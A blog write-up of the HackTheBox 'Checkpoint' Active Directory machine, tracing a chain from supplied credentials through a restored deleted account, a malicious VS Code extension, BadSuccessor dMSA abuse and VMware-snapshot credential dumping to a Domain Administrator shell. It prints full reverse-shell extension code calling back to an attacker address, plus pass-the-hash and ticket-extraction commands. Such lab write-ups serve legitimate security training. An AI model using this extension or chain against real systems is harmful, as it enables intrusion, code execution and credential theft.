MediumHTB: Checkpoint Writeup. Checkpoint is a Windows machine that… | by Natius | Nov, 2026 | Medium
Sitemap
Natius

Natius

The Cybersecurity Journal

HTB: Checkpoint Writeup

24 min read1 day ago

--

Press enter or click to view image in full size
Checkpont Machine

Checkpoint is a Windows machine that explores several interesting aspects of Active Directory security. What begins with a simple set of domain credentials quickly turns into a multi-stage adventure involving deleted AD objects, password reuse, a malicious VS Code extension, dMSA abuse through BadSuccessor and VMware memory forensics.

Each compromised account opens another door, eventually leading us to Domain Administrator. Along the way, we’ll explore some fascinating Active Directory weaknesses, uncover forgotten credentials and discover that sometimes the best place to hide a password is inside a virtual machine snapshot.😅

Let’s check in to Checkpoint and see how far a little enumeration can take us!

About Checkpoint

  • OS: Windows
  • Difficulty: Medium
  • Release Date: 13 Jun, 2026

Initial Access and Workspace Preparation

The assessment begins with the credentials provided by the machine:

  • Username: alex.turner
  • Password: Checkpoint2024!
Press enter or click to view image in full size
Assume-Breach Credentials

Before interacting with the target, I prepared a dedicated working directory to keep scan results, enumeration files, scripts and other artifacts organized:

mkdir Checkpoint && cd Checkpoint 

I then verfied connectivity to the target:

ping -c 3 10.129.146.77
Press enter or click to view image in full size
Workspace Preparation and Connectivity Verification

Network Enumeration with Nmap

I started a TCP scan using Nmap:

sudo nmap -sCV --reason -oN checkpoint.nmap 10.129.146.77
Press enter or click to view image in full size
Network Enumeration

The scan identified the following open ports:

  • Port 53 (DNS) — Domain Name Resolution
  • Port 88 (Kerberos) — Active Directory Authentication
  • Port 135 (MSRPC) — Microsoft RPC endpoint mapper
  • Port 139 (NetBIOS-SSN) — NetBIOS session service
  • Port 389 (LDAP) — Active Directory Services
  • Port 445 (SMB) — Server Message Block
  • Port 464 (Kpasswd) — Kerberos password change service
  • Port 593 (RPC over HTTP) — RPC over HTTP transport
  • Port 636 (LDAPS) — LDAP over SSL/TLS
  • Port 3268 (Global Catalog LDAP) — Active Directory Global Catalog
  • Port 3269 (Global Catalog LDAPS) — Secure Global Catalog
  • Port 5985 (WinRM) — Windows Remote Management over HTTP

The combination of Kerberos, LDAP, SMB, DNS and Global Catalog services strongly suggested that this was an Active Directory Domain Controller.

Several additional details were worth noting:

  • SMB signing was required
  • SMBv1 was disabled
  • The host identified itself as DC01
  • The domain was checkpoint.htb
  • A clock skew

The clock discrepancy was particularly important because Kerberos is time-sensitive. Significant differences between the client and the domain controller clocks can cause authentication failures.

At this point, I had enough information to begin Active Directory enumeration.

Host Management and Domain Resolution

To make hostname resolution easier, I used NetExec to generate a hosts file from the target:

nxc smb 10.129.146.77 --generate-hosts-file checkpoint_hosts

The generated file contained the following entry:

10.129.146.77     DC01.checkpoint.htb checkpoint.htb DC01 

I appended it to /etc/hosts:

cat checkpoint_hosts | sudo tee -a /etc/hosts
Press enter or click to view image in full size
Hostname Management

This allowed me to interact with the domain controller using its hostname and fully qualified domain name rather than relying exclusively on its IP address.

Hostname resolution is particularly useful when working with Kerberos and Active Directory tools, where the domain controller’s FQDN can be important for service principal names and authentication.

Active Directory Enumeration with NetExec

With the host configuration in place, I began testing the supplied credentials against exposed services.

I upgraded my NetExec version with (Required for this particular machine!):

sudo apt update && sudo apt install --only-upgrade netexec

Authentication Testing

I first tested SMB:

nxc smb DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
  • The authentication succeeded.

Next, I tested LDAP:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
  • LDAP authentication also succeeded.

Finally, I checked WinRM:

nxc winrm DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
  • Unlike SMB and LDAP, WinRM authentication failed
Press enter or click to view image in full size
Authentication Testing

Note: Successful authentication against one service does not automatically grant access to another. Each service has its own authentication and authorization requirements.

Enumerating Domain Users

I used NetExec to enumerate domain users:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users
  • The initial enumeration identified 17 users.
Press enter or click to view image in full size
Domain Users Enumeration

I also exported the results for later comparison:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users-export
Press enter or click to view image in full size
Exporting Users

Maintaining enumeration results is useful when investigating changes in the environment. It also makes it easier to compare accounts discovered at different stages of an assessment.

Kerbersoasting, AS-REP Roasting and gMSA Enumeration

Next, I checked for accounts with Service Principal Names that might be vulnerable to Kerberoasting:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --kerberoast kerberoast
  • The command returned no Kerberoastable account records. The disabled krbtgt account was skipped.

I then checked for accounts that did not require Kerberos pre-authentication:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --asreproast asreproast
  • No AS-REP roastable entries were returned.

Finally, I checked for Group Managed Service Accounts:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --gmsa 
  • The output indicated that NetExec was attempting to retrieve gMSA passwords, but did not establish that any password had actually been recovered.
Press enter or click to view image in full size
Kerberoasting, AS-REP Roasting and gMSA Enumeration

These checks did not immediately provide another credential, but they helped establish which common Active Directory attack paths were not producing results at this stage.

SMB Share Enumeration

SMB was one of the most interesting services exposed by the target. I started enumerating the available shares:

nxc smb DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --shares
Press enter or click to view image in full size
Shares Enumeration
  • Among the shares DevDrop share immediately stood out with READ permissions and the comment VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0 which indicated that it was intended for approaved VS Code extension packages compatible with VS Code engine version 1.118.0
  • I also noticed the VMBackups share, which would become important later.

Enumerating Shares with smbclient

To investigate the available shares further, I used smbclient:

smbclient -L //checkpoint.htb -U alex.turner%Checkpoint2024!
  • This returned the available SMB shares.

I then attempted to access DevDrop:

smbclient //checkpoint.htb/DevDrop -U alex.turner%Checkpoint2024! -c 'ls'
  • The directory was empty at the time of enumeration.

I also attempted to access VMBackups:

smbclient //checkpoint.htb/VMBackups -U alex.turner%Checkpoint2024! -c 'ls'
  • Listing its contents returned an error.
  • The share was visible, but the current account did not have permission to enumerate its contents. Discovering a share does not mean having access to it.
Press enter or click to view image in full size
Shares Enumeration with smbclient

Active Directory Enumeration with RustHound-CE

With the initial enumeration complete, I moved to BloodHound-based analysis to identify relationships and delegated permissions that might expose an attack path.

For data collection, I used RustHound-CE.

We need an updated version of RustHound-CE, if you get some errors updating execute the command:

LIBGSSAPI_IMPL=mit cargo install rusthound-ce

Initial LDAP Collection Attempt

My first attempt used the supplied domain credentials:

rusthound-ce -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -z  
  • The connection failed with an LDAP authentication error
  • The server indicated that integrity checking was required when binding without SSL/TLS.
  • This was not a credential failure. It was an LDAP security requirement.

I then attempted Kerberos authentication:

rusthound-ce -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -z -k
  • This attempt also failed. RustHound-CE indicated that Kerberos required the domain controller’s FQDN to be configured through options.ldapfqdn.
Press enter or click to view image in full size
RustHound-CE Troubleshooting

Synchronizing the System Clock

Earlier Nmap enumeration had identified a significant clock difference between the attack machine and the domain controller.

I corrected the local clock using:

sudo ntpdate 10.129.146.77 
  • The Kerberos authentication is sensitive to time differences, so synchronizing the clock is an important troubleshooting step.
  • However, clock synchronization alone did not resolve the RustHound-CE configuration issues.
Press enter or click to view image in full size
Clock Synchronization

Generating Kerberos Configuration

I used NetExec to generate a Kerberos configuration file:

nxc smb DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --generate-krb5-file checkpoint_krb5.conf
  • The generated configuration contained the CHECKPOINT.HTB realm and identified dc01.checkpoint.htb as the KDC and administrative server.

I exported the configuration:

export KRB5_CONFIG=checkpoint_krb5.conf
  • This prepared the Kerberos client environment, but the collection still required a valid Kerberos ticket and the correct LDAP configuration.
Press enter or click to view image in full size
Generating Kerberos Configuration

Obtaining a Kerberos Ticket

I installed the Kerberos client utilities:

sudo apt install krb5-user -y

Then I requested a Kerberos ticket for Alex Turner:

kinit alex.turner

After entering the password, I retried RustHound-CE, explicitly providing the domain controller’s FQDN:

rusthound-ce -d checkpoint.htb -f DC01.checkpoint.htb -z -k
  • This time, LDAP connectivity and directory collection succeeded.
Press enter or click to view image in full size
RustHound-CE Directory Collection
  • A BloodHound archive was generated.
  • There was, however, a warning concerning GPO and SYSVOL collection: SYSVOL collection failed: — kerberos set but KRB5CCNAME is not defined
  • The warning did not invalidate the LDAP results, but it did indicate that some data was unavailable.

Analyzing Active Directory with BloodHound

After collecting the directory data, I started my BloodHound Docker update:

sudo docker compose pull

I then started BloodHound:

sudo docker-compose up -d
Press enter or click to view image in full size
Starting BloodHound

I imported the RustHound-CE zip archive into BloodHound.

Identifying the Initial User

I searched for alex.turner

After locating the account, I marked it as owned.

Its group memberships included:

  • VPN-USERS
  • IT-STAFF
  • DOMAIN USERS
Press enter or click to view image in full size
alex.turner Group Membership

The next step was to examine its Outbound Object Control relationships.

Discovering Control Over a Deleted Account

BloodHound revealed that alex.turner had GenericWrite over the deleted user account mark.davies.

Press enter or click to view image in full size
alex.turner’s GenericWrite over mark.davies
  • This was an interesting finding because deleted objects are not necessarily irrelevant to an Active Directory assessment.
  • The relationship suggested that the deleted account and the permissions associated with it deserved further investigation.

I also used BloodHound’s built-in Map OU Structure query, which revealed an OU named DMSAHOLDER

Press enter or click to view image in full size
OU Structure Query

I made a note of this OU for later investigation.

Press enter or click to view image in full size
DMSAHOLDER OU

At this stage, there were two interesting leads:

  1. The deleted mark.davies account.
  2. The DMSAHOLDER OU

The next step was to validate the permissions identified by BloodHound.

Validating Permissions with BloodyAD

I used BloodyAD to enumerate objects writable by the initial account:

bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get writable
Press enter or click to view image in full size
Validating Permissions with BloodyAD
  • The most relevant finding was the WRITE access associated with the Deleted Objects container and the deleted Mark Davies object.

Examining Alex Turner’s Group Memberships

I also checked the account’s group memberships:

bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get membership alex.turner
Press enter or click to view image in full size
Alex Tuner Group Memberships

The account belonged to:

  • Builtin Users
  • Domain Users
  • IT-Staff
  • VPN-Users

The results were consistent with BloodHound’s group membership information.

The combination of the deleted-object permissions and the discovered account made Mark Davies the next logical target.

Restoring the Deleted Mark Davies Account

The next step was to determine whether the deleted account could be restored.

I started by enumerating the users again:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users

I then used BloodyAD to restore the account:

 bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' set restore mark.davies
  • The operation succeeded.
  • This moved the account out of the Deleted Objects container and restored it under the Employees OU.
Press enter or click to view image in full size
Restoring Mark Davies Account

Confirmation of the Restored Account

I enumerated the users again and exported the results:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users-export checkpoint_recovered_user.txt
  • The new export contained 18 users, including mark.davies.

To identify the difference between the original and recovered lists, I used:

diff checkpoint_initial_users.txt checkpoint_recovered_user.txt

The output confirmed that Mark Davies had been added to the recovered user list.

Press enter or click to view image in full size
Confirmation of Recovered User

An Alternative Restoration Method with NetExec

NetExec also provides a tombstone module for working with deleted Active Directory objects.

I first queried the deleted objects:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -M tombstone -o ACTION=query
  • The output identified Mark Davies provided the deleted objects’s GUID: 2217e877-e2a2–47d7–91d4–99ede36f367e
Press enter or click to view image in full size
Getting the Deleted Object

I then restored it using the GUID:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -M tombstone -o ACTION=restore ID=2217e877-e2a2-47d7-91d4-99ede36f367e
Press enter or click to view image in full size
Restoration of the Deleted Object
  • The module reported a successful restoration.
Press enter or click to view image in full size
Confirmation of Restoration

NOTE: I had to spawn a new instance of the Checkpoint machine hence the different IP address 10.129.16.90 to showcase restoration of the user using NetExec

Interestingly, the Last Password Set timestamps for Alex Turner and Mark Davies were very close:

 alex.turner                   2026-05-09 10:00:08 0
mark.davies 2026-05-09 10:00:48 0
  • The timestamps were only 40 seconds apart. This was an interesting clue, although was not sufficient by itself to establish password reuse.
  • The next step was to test this hypothesis directly.

Authenticating as Mark Davies

I tested the initially supplied password against the restored account.

SMB Authentication

nxc smb DC01.checkpoint.htb -u mark.davies -p 'Checkpoint2024!'
  • Authentication succeeded

LDAP Authentication

nxc ldap DC01.checkpoint.htb -u mark.davies -p 'Checkpoint2024!'
  • LDAP authentication also succeeded.

WinRM Authentication

nxc winrm DC01.checkpoint.htb -u mark.davies -p 'Checkpoint2024!'
  • WinRM authentication failed.
  • The results confirmed that the restored account reused the supplied password, but its access was still limited by service-specific authorization.

Updating BloodHound

Before restoration, mark.davies user in BloodHound showed a DELETED OBJECTS container:

Press enter or click to view image in full size
Before Restoration

Because the Active Directory environment had changed, I collected the directory data again:

rusthound-ce -d checkpoint.htb -f DC01.checkpoint.htb -z -k
Press enter or click to view image in full size
Recollecting LDAP Data

I imported the new archive into BloodHound.

The Mark Davies object now appeared under EMPLOYEES OU rather than the Deleted Objects Container:

Press enter or click to view image in full size
After Restoration

I also checked the account’s group memberships:

bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -u mark.davies -p 'Checkpoint2024!' get membership mark.davies

The account belonged to:

  • Builtin Users
  • Domain Users
Press enter or click to view image in full size
Listing Membership

BloodHound showed the same general membership information.

Press enter or click to view image in full size
Getting Membership using BloodHound

At first glance, all these did not appear particularly interesting. However, the SMB share permissions told a different story.

Discovering Write Access to DevDrop

I enumerated the SMB shares using Mark Davies’ credentials:

nxc smb DC01.checkpoint.htb -u mark.davies -p 'Checkpoint2024!' --shares
Press enter or click to view image in full size
DevDrop Share with Writable Permissions
  • This time the DevDrop share showed: DevDrop READ,WRITE
  • This was different from the initial account, which had read-only access.
  • The share was described as a repository for approved VS Code extension packages compatible with VS Code engine version 1.118.0.
  • This suggested a possible path to code execution if the environment automatically installed or loaded extensions from that location.

Before attempting anything against the target, I decided to build and test an extension locally.

Developing a VS Code Extension

The objective was to create a VS Code extension package that could establish a reverse shell when activated.

I first prepared the development environment on my Kali machine.

Installing Node.js with NVM

I installed Node Version Manager:

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.41.0/install.sh | bash

After opening a new terminal, I installed Node.js:

nvm install 26

I verified the installation:

node -v

npm -v

npx -v

Installing Visual Studio Code

I downloaded the Linux Debian package:

wget "https://code.visualstudio.com/sha/download?build=stable&os=linux-deb-x64"

Then I installed it:

sudo apt install ./code_1.145.0-1793749366_amd64.deb

Generating the Extension Project

I used the official VS Code extension generator to scaffold a project:

npx --package yo --package generator-code -- yo code
Press enter or click to view image in full size
Generating the Extension Project
Press enter or click to view image in full size
The Generated Project
  • The generator created the initial extension structure, including package.json and src/extension.ts.
  • The package.json file contained the extension’s metadata and VS Code compatibility information.

The original configuration included:

"engines": {
"vscode": "^1.145.0"
},
"activationEvents": [],
"devDependencies": {
"@types/vscode": "^1.145.0",
}
Press enter or click to view image in full size
Original package.json Configuration

The target share specified compatibility with VS Code engine version 1.118.0, so I adjusted the relevant version declarations:

"engines": {
"vscode": "^1.118.0"
},
"activationEvents": ["onStartupFinished"],
"devDependencies": {
"@types/vscode": "^1.118.0",
},
Press enter or click to view image in full size
Modified package.json File
  • The onStartupFinished activation event allows an extension to activate after VS Code has completed its startup process.
  • The caret (^) in the version declaration defines a compatible version range rather than an exact version pin. There, ^1.118.0 is not strictly limited to version 1.118.0.

Preparing the Extension

The modified extension implementation used Node.js’s child_process module to launch a shell and the net module to establish a TCP connection to the attack machine.

Press enter or click to view image in full size
Initial extension implementation
Press enter or click to view image in full size
Modified extension Implementation
// The module 'vscode' contains the VS Code extensibility API
// Import the module and reference it with the alias vscode in your code below
import * as vscode from 'vscode';

// This method is called when your extension is activated
// Your extension is activated the very first time the command is executed
export function activate(context: vscode.ExtensionContext) {
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(9001, "10.10.14.162", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
}


// This method is called when your extension is deactivated
export function deactivate() {}

I also installed the VS Code Extension Manager:

npm install -g @vscode/vsce

I attempted to package the extension:

vsce package
Press enter or click to view image in full size
Packaging the Extension

The first attempt failed because the generated README still contained template content.

Get Natius’s stories in your inbox

Join Medium for free to get updates from this writer.

I replaced it with a simple project description:

## Features

Spawns a shell

After updating the README, I ran the packaging command again:

vsce package
Press enter or click to view image in full size
Updating README File

The package was generated successfully nato-0.0.1.vsix

The packaging process reported warnings about missing repository and license metadata, but these did not prevent package generation.

Testing the Extension Locally

Before interacting with the target, I installed the extension locally:

code --install-extension nato-0.0.1.vsix

I started a listener:

nc -lnvp 9001

Then I launched VS Code.

The listener received a connection: connect to [10.10.14.162] from (UNKNOWN) [10.10.14.162] 50882

Press enter or click to view image in full size
Local Exploitation
  • This confirmed that the extension’s connection logic worked locally.
  • However, the source and destination addresses were both the attack machine’s address. This was a local validation, not evidence of remote code execution on the target.
  • There was also an important compatibility consideration: the original implementation launched sh, which is not a suitable shell for a native Windows environment.
  • I therefore needed to adapt the implementation before deploying it to the Windows target.

Obtaining a Shell as Ryan Brooks

After validating the extension locally, I modified the implementation to launch PowerShell instead of a Unix shell.

The updated extension.ts contained:

// The module 'vscode' contains the VS Code extensibility API
// Import the module and reference it with the alias vscode in your code below
import * as vscode from 'vscode';

// This method is called when your extension is activated
// Your extension is activated the very first time the command is executed
export function activate(context: vscode.ExtensionContext) {
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("powershell.exe", []);
var client = new net.Socket();
client.connect(9001, "10.10.14.162", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
}


// This method is called when your extension is deactivated
export function deactivate() {}

I then repackaged the extension:

vsce package
Press enter or click to view image in full size
Repackaging the extension

Starting the Listener

I prepared a listener with rlwrap to improve interactive shell usability:

rlwrap -cAr nc -lvnp 9001

Uploading the Extension to DevDrop

Before uploading the package, I confirmed that the share was empty:

smbclient //checkpoint.htb/DevDrop -U mark.davies%Checkpoint2024! -c 'ls'

I then uploaded the extension:

smbclient //checkpoint.htb/DevDrop -U mark.davies%Checkpoint2024! -c 'put nato-0.0.1.vsix nato-0.0.1.vsix'

To confirm that the upload succeeded, I listed the share again:

smbclient //checkpoint.htb/DevDrop -U mark.davies%Checkpoint2024! -c 'ls'

Receiving the Reverse Shell

After a short wait, the listener received a connection from the target.

I checked the current identity using whoami and the result was checkpoint\ryan.brooks

Press enter or click to view image in full size
Getting a Shell as Ryan Brooks
  • This confirmed that the extension deployment mechanism had resulted in code execution under the Ryan Brooks account.

The difference between a local test and the target test was now clear: the local test validated the extension’s connection behavior, while the remote connection confirmed execution in the target environment.

Retrieving the User Flag

With a shell as Ryan Brooks, I navigated to the user’s Desktop and retrieved the flag:

Set-Location C:\Users\ryan.brooks\Desktop
Press enter or click to view image in full size
Retrieving the User Flag

Enumerating the Environment as Ryan Brooks

Before moving further, I wanted to understand the resources accessible to the new identity.

The uploaded extension was located under the DevDrop directory under C:\shares.

Press enter or click to view image in full size
Enumerating the Shares Directory
  • I also attempted to enumerate VMBackups but this returned an access-denied error.
  • The backup remained inaccessible to Ryan Brooks as expected.

At this point, the next logical step was to investigate Ryan’s Active Directory permissions and identify whether they exposed another escalation path.

Investigating the BadSuccessor Attack Surface

Checkpoint was running Windows Server 2025, making it worthwhile to investigate the dMSA-related BadSuccessor attack surface.

From the Ryan Brooks shell, I inspected the operating system version:

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
Press enter or click to view image in full size
Listing the Operating System Version

This confirmed that the target was running Windows Server 2025, Build 26100

Checking for BadSuccessor Support

Back on my attack machine, I checked the available NetExec modules:

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -L
Press enter or click to view image in full size
BadSuccessor Module

The output include a module name badsuccessor.

Note: This requires an up to date version of NetExec

I executed the module (any user can do, in this scenario):

nxc ldap DC01.checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -M badsuccessor
Press enter or click to view image in full size
Executing the BadSuccessor Module

This provided indication that dMSA-related attack surface was relevant to the environment.

Understanding BadSuccessor

  • Delegated Managed Service Accounts are designed to support managed service-account migration and succession.
  • BadSuccessor is a privilege escalation technique involving weaknesses in the handling fo dMSA succession relationships. Under vulnerable conditions, an attacker with suitable delegated permissions can create and manipulate a dMSA in a way that allows it to obtain authentication material associated with a superseded account.
  • The security implications depend on the permissions and configuration of the environment.
  • In this assessment, the objective was to determine whether Ryan Brooks had the necessary permissions over the relevant OU and service account.

Enumerating Ryan Brooks’ Active Directory Permissions

I returned to BloodHound and examined Ryan Brooks’ account.

Press enter or click to view image in full size
Ryan Brooks Group Membership

His group memberships included:

  • DEVTEAM
  • VPN-USERS
  • DOMAIN USERS

More importantly, BloodHound identified GenericWrite over the svc_deploy service account.

Press enter or click to view image in full size
Ryan Brooks GenericWrite over SVC_DEPLOY

I also inspected the groups associated with svc_deploy and identified:

  • BACKUPACCESS
  • REMOTEMANAGEMENT
Press enter or click to view image in full size
svc_deploy Group Membership

This was particularly interesting because the VMBackups share had previously been inaccessible.

Press enter or click to view image in full size
svc_deploy is a member of BackupAccess
  • This suggested that if we pawned the svc_deploy account we might have access to the VMBackups share since they are a member of BackupAccess Group.

Preparing Kerberos Authentication with Rubeus

Before executing the BadSuccessor operation, I prepared the necessary Kerberos authentication material.

I created a directory for the supporting executable:

mkdir www && cd www

I downloaded Rubeus from SharpCollection:

wget "https://github.com/Flangvik/SharpCollection/raw/refs/heads/master/NetFramework_4.7_Any/Rubeus.exe"

I verified the file:

file Rubeus.exe
Press enter or click to view image in full size
Downloading Rubeus

I started a temporary HTTP server from the directory:

 python -m http.server 

On the target, I downloaded Rubeus into C:\ProgramData:

wget http://10.10.14.162:8000/Rubeus.exe -o Rubeus.exe
Press enter or click to view image in full size
Transferring Rubeus to the Target Machine

The file was successfully transfered.

Extracting Kerberos Ticket

On the target, I executed:

./Rubeus.exe tgtdeleg /nowrap
Press enter or click to view image in full size
Getting a Kerberos Ticket

Rubeus successfully performed the delegation request and extracted Kerberos ticket material from the delegation exchange.

I copied the Base64 output into a local file and decoded it:

cat ryan.brooks.kirbi.b64 | base64 -d > ryan.brooks.kirbi

Then I parsed the resulting ticket:

pypykatz kerberos kirbi parse ryan.brooks.kirbi
Press enter or click to view image in full size
Preparing the Ticket

I converted the ticket into a credential cache:

impacket-ticketConverter ryan.brooks.kirbi ryan.brooks.ccache

Then I exported the cache:

export KRB5CCNAME=ryan.brooks.ccache 

I then used BloodyAD to enumerate Active Directory objects and identify the permissions assigned to this account.

bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -k get writable
Press enter or click to view image in full size
Using a Credential Cache to Get Writable Permissions for Ryan Brooks

The output revealed several interesting permissions, but two entries stood out:

  • OU=DMSAHolder — permission: CREATE_CHILD: Ryan could create new objects within this OU. This would become particularly important when creating a Delegated Managed Service Account (dMSA).
  • CN=svc_deploy,OU=ServiceAccounts — permission: WRITE: Ryan had write permissions over the svc_deploy service account, making it a potential target for the dMSA succession attack.

This findings exposed an interesting privilege escalation opportunity: Ryan could create a dMSA in the DMSAHOLDER OU and modify the relationship with svc_deploy. This provided the permissions needed to investigate the BadSuccessor dMSA abuse technique.

Exploiting BadSuccessor

With the relevant permissions identified and the Kerberos authentication context preparation, I proceeded with the BadSuccessor operation using BloodyAD.

bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -k add badSuccessor nato_dmsa --ou 'OU=DMSAHolder,DC=checkpoint,DC=htb' -t 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb'
  • add badSuccessor: invokes the BadSuccessor operation.
  • nato_dmsa: The name of the new dMSA.
  • — ou: The OU in which to create the dMSA.
  • -t: The target service account involved in the succession relationship.
Press enter or click to view image in full size
Exploiting BadSuccessor
  • The operation reported that it created nato_dmsa$ under the DMSAHolder OU and used the svc_deploy account as the superseded account.
  • The output also included the newly generated dMSA key.
  • The previous RC4 key was particularly interesting because it was associated with the superseded account.
  • Given the attack context, I treated it as a candidate NT hash for svc_deploy.
  • However, a recovered key should not be considered confirmed until it has been validated against the actual account.

Pivoting to svc_deploy

I used the recovered RC4 value to test authentication as svc_deploy.

Validating the Recovered Hash

First, I tested SMB authentication:

nxc smb DC01.checkpoint.htb -u svc_deploy -H  'e16081eb077aca74bdbf8af12af43ac9'
  • The result confirmed successful authentication

I then tested LDAP:

nxc ldap DC01.checkpoint.htb -u svc_deploy -H  'e16081eb077aca74bdbf8af12af43ac9'
  • LDAP authentication also succeeded

Finally, I tested WinRM:

nxc winrm DC01.checkpoint.htb -u svc_deploy -H  'e16081eb077aca74bdbf8af12af43ac9'
  • WinRM authentication succeeded!

The successful authentication across these services confirmed that the recovered RC4 value was usable as the account’s NT hash

Enumerating svc_deploy Memberships

I checked the account’s group memberships:

bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -k get membership svc_deploy 
Press enter or click to view image in full size
Authentication and Group Membership Verification

The account belonged to:

  • Builtin Users
  • Remote Management Users
  • Domain Users
  • BackupAccess

Two memberships were particularly relevant:

  • Remote Management Users was consistent with the successful WinRM authentication.
  • BackupAccess was a strong lead for investigating the previously inaccessible backup share.

The next step was to enumerate SMB shares using the recovered account.

Accessing the VMBackups Share

I enumerated the shares again using the svc_deploy credentials:

nxc smb DC01.checkpoint.htb -u svc_deploy -H  'e16081eb077aca74bdbf8af12af43ac9' --shares
  • This time, VMBackups showed read access. The previously inaccessible share was now available.

Enumerating the Backup Files

I used smbclient to recursively list the contents:

smbclient //checkpoint.htb/VMBackups -U svc_deploy --pw-nt-hash e16081eb077aca74bdbf8af12af43ac9 -c 'recurse;ls'

The output revealed a backup directory which had several VMware artifacts

Press enter or click to view image in full size
Enumerating Shares as svc_deploy

The vmem file was particularly interesting because it represented the virtual machine’s memory contents.

A memory image can contain sensitive runtime information, including authentication artifacts that may not be available through ordinary filesystem enumeration.

This was potentially a much more valuable source of information than the virtual disk itself.

Establishing an Interactive Shell as svc_deploy

Since WinRM authentication had succeeded, I established an interactive session using Evil-WinRM:

evil-winrm -i DC01.checkpoint.htb -u svc_deploy -H 'e16081eb077aca74bdbf8af12af43ac9'

Confirmation of identity revealed checkpoint\svc_deploy

Enumerating the Share Directories

I inspected the share structure:

tree /f C:\Shares\

The output confirmed the presence of:

  • DevDrop, containing the uploaded VS Code extension.
  • VMBackups, containing the NightlyBackup_2024–11–01 directory and VMware artifacts.

I navigated to the memory forensics directory:

Press enter or click to view image in full size
Veiwing the VMware Artifcats

The account now provided access to the backup artifacts that had been inaccessible during the earlier stages of the assessment.

Preparing VMKatz

The next objective was to analyze the VMware snapshot and identify whether it contained useful authentication material.

You can choose to download the VMware artficats and analyze them locally using a framework like Volatility (But this would take a significant amount of time).

Since downloading the snapshot would take a lot of time I decided to use vmkatz to analyze the snapshot remotely.

I donwloaded VMKatz from its Github release page:

wget "https://github.com/nikaiw/VMkatz/releases/download/v1.5.2/vmkatz-v1.5.2-windows-x86_64.zip"

I extracted the archive:

7z x vmkatz-v1.5.2-windows-x86_64.zip
Press enter or click to view image in full size
Downloading and Extracting VMKatz

Transferring VMKatz to the Target

I started another temporary HTTP server:

python -m http.server

From the Evil-WinRM session, I downloaded the executable:

wget http://10.10.14.162:8000/vmkatz.exe -o C:\ProgramData\vmkatz.exe
  • VMKatz was now available on the target and I could proceed with snapshot analysis.
Press enter or click to view image in full size
Uploading VMKatz on the Target

Extracting Administrator Credentials from the VMware Snapshot

The most interesting file in the backup directory was the VMware snapshot state file: Windows Server 2019-Snapshot1.vmsn

I executed VMKatz against it from the existing Evil-WinRM session:

C:\ProgramData\vmkatz.exe "Windows Server 2019-Snapshot1.vmsn"

VMKatz began analyzing the image. It reported a memory constraint. Despite the warning, processing continued.

The tool performed system discovery, process enumeration and registry hive recovery

Recovering SAM Hashes

VMKatz recovered the system boot key and extracted SAM hashes.

The most important result was the has associated with RID 500, the built-in Administrator account.

Examining LSA Secrets and Logon Sessions

VMKatz also recovered LSA secrets, including DPAPI_SYSTEM and NL$KM

It also identified three logon sessions, two of which contained credentials.

The relevant session belonged to the Administrator, which exposed the same NT hash recovered from the SAM database.

Although no plaintext password was recovered, the NT hash was sufficient to attempt Pass-the-Hash authentication.

Press enter or click to view image in full size
Analzying the snapshot file

You can also use VMKatz to analyze the vmem file:

Press enter or click to view image in full size
Analyzing the vmem File

Authenticating as Administrator

With the Administrator NT hash recovered, I returned to Kali and tested it against the live domain controller.

SMB Authentication

nxc smb DC01.checkpoint.htb -u administrator -H 'f29e9c014295b9b32139b09a2790be3b'
  • The result confirmed successful authentication.

LDAP Authentication

nxc ldap DC01.checkpoint.htb -u administrator -H 'f29e9c014295b9b32139b09a2790be3b'
  • LDAP authentication also succeeded.

WinRM Authentication

nxc winrm DC01.checkpoint.htb -u administrator -H 'f29e9c014295b9b32139b09a2790be3b'
  • WinRM authentication succeeded as well.
  • The recovered hash was now validated across SMB, LDAP and WinRM
  • This provided the access required to establish an interactive administrative session.
Press enter or click to view image in full size
Autheticating Administrator’s Credentials

Obtaining a Domain Administrator Shell

I connected to the domain controller using Evil-WinRM:

evil-winrm -i DC01.checkpoint.htb -u administrator -H 'f29e9c014295b9b32139b09a2790be3b'
Press enter or click to view image in full size
Getting Administrator Shell
  • The connection was successful.
  • I then moved to the Administrator profile and enumerated its contents. Interestingly, there was no root.txt file in the Administrator’s Desktop.
